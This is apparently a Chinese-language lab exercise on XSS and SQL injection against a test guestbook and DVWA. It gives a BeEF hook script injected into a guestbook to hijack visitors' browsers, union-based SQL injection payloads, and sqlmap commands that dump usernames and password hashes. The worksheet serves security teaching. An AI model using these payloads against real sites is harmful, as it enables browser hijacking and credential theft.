XSS和SQL注入
实验目的:了解什么是XSS;了解XSS攻击实施,理解防御XSS攻击的方法;了解SQL注入的基本原理;掌握PHP脚本访问MySQL数据库的基本方法;掌握程序设计中避免出现SQL注入漏洞的基本方法;掌握网站配置。
系统环境:Kali Linux 2、Windows Server
网络环境:交换网络结构
实验工具: Beef;AWVS(Acunetix Web Vulnarability Scanner);SqlMAP;DVWA
XSS部分:利用Beef劫持被攻击者客户端浏览器。
实验环境搭建。
角色:留言簿网站。存在XSS漏洞;(IIS或Apache、guestbook搭建)
攻击者:Kali(使用beEF生成恶意代码,并通过留言方式提交到留言簿网站);
被攻击者:访问留言簿网站,浏览器被劫持。
1、利用AWVS扫描留言簿网站(安装见参考文档0.AWVS安装与使用.docx),发现其存在XSS漏洞,截图。
2、 Kali使用beef生成恶意代码,截图。
3、访问http://留言簿网站/message.asp;将以下恶意代码写入网站留言板,
,截图。<script src="http://Kali的ip:3000/hook.js"></script>
4、管理员登录login.htm,账号密码均为admin,审核用户留言。只要客户端访问这个服务器的留言板,客户端浏览器就会被劫持,指定被劫持网站为学校主页,将你在beff中的配置截图。
自动跳转到淘宝
DVWA(low)+SQLmap+Mysql注入实战
注入点发现
判断是否有注入漏洞以及注入类型
表单输入1’,显示如下:表示输入的语句被后台执行了,则存在注入漏洞
在mysql中,如果等号两边类型不一致,则会发生强制转换,当数字与字符串数据比较时,字符串转换为数字再进行比较,由此判断是否是字符型注入
手工注入
1.判断字段
如下结果,表示字段数为2
1' order by 3#
1' order by 2#
2.union 查询
2.1:查询当前版本,数据库名称
1' union select version(),datsbase()#
wp:1’ 闭合掉前边的单引号,#注释后边的单引号
:
2.2:查询当前数据库下的表名
-1' union select group_concat(table_name),2 from information_schema.tables where table_schema='dvwa'#
2.3:查询users表下的列名
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users'#
2.4:获取数据
id=-1' union select user,password from users#
工具注入
2.枚举当前使用的数据库名称和用户名
sqlmap语法参数:
-u :指定目标URL,即注入点
–cookies:当前会话的cookies值
-b:获取数据库类型,检索数据库管理系统标识
–current-db:获取当前数据库
–current-user:获取当前登录数据库使用的用户
sqlmap -u '192.168.195.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=3cb60f04c78b07242273c6432349f363' -b --current-db --current-user
3.枚举数据库用户名和密码
sqlmap -u '192.168.195.130/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#' --cookie='security=low; PHPSESSID=3cb60f04c78b07242273c6432349f363' -D dvwa --string="Surname" --users --password
4:枚举数据库和指定数据库的数据表
数据库
sqlmap -u "http://192.168.195.130/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=3cb60f04c78b07242273c6432349f363' --string="Surname" --dbs
表名
sqlmap -u "http://192.168.195.130/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=3cb60f04c78b07242273c6432349f363' --string="Surname" -D dvwa --tables
5.获取指定数据库和表中所有列的信息
sqlmap语法参数:
-D:指定的数据库
-T:指定数据库中的数据表
–columns:获取列的信息
命令:
sqlmap -u "http://192.168.195.130/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#" --cookie='security=low; PHPSESSID=3cb60f04c78b07242273c6432349f363' --string="Surname" -D dvwa -T users --columns
6枚举指定数据表中的所有用户名与密码,并down到本地
-C:枚举数据表中的列
–dump:存储数据表项
命令:
sqlmap -u “http://192.168.195.130/dvwa/vulnerabilities/sqli/?id=2&Submit=Submit#” --cookie=‘security=low; PHPSESSID=3cb60f04c78b07242273c6432349f363’ --string=“Surname” -D dvwa -T users -C user,password --dump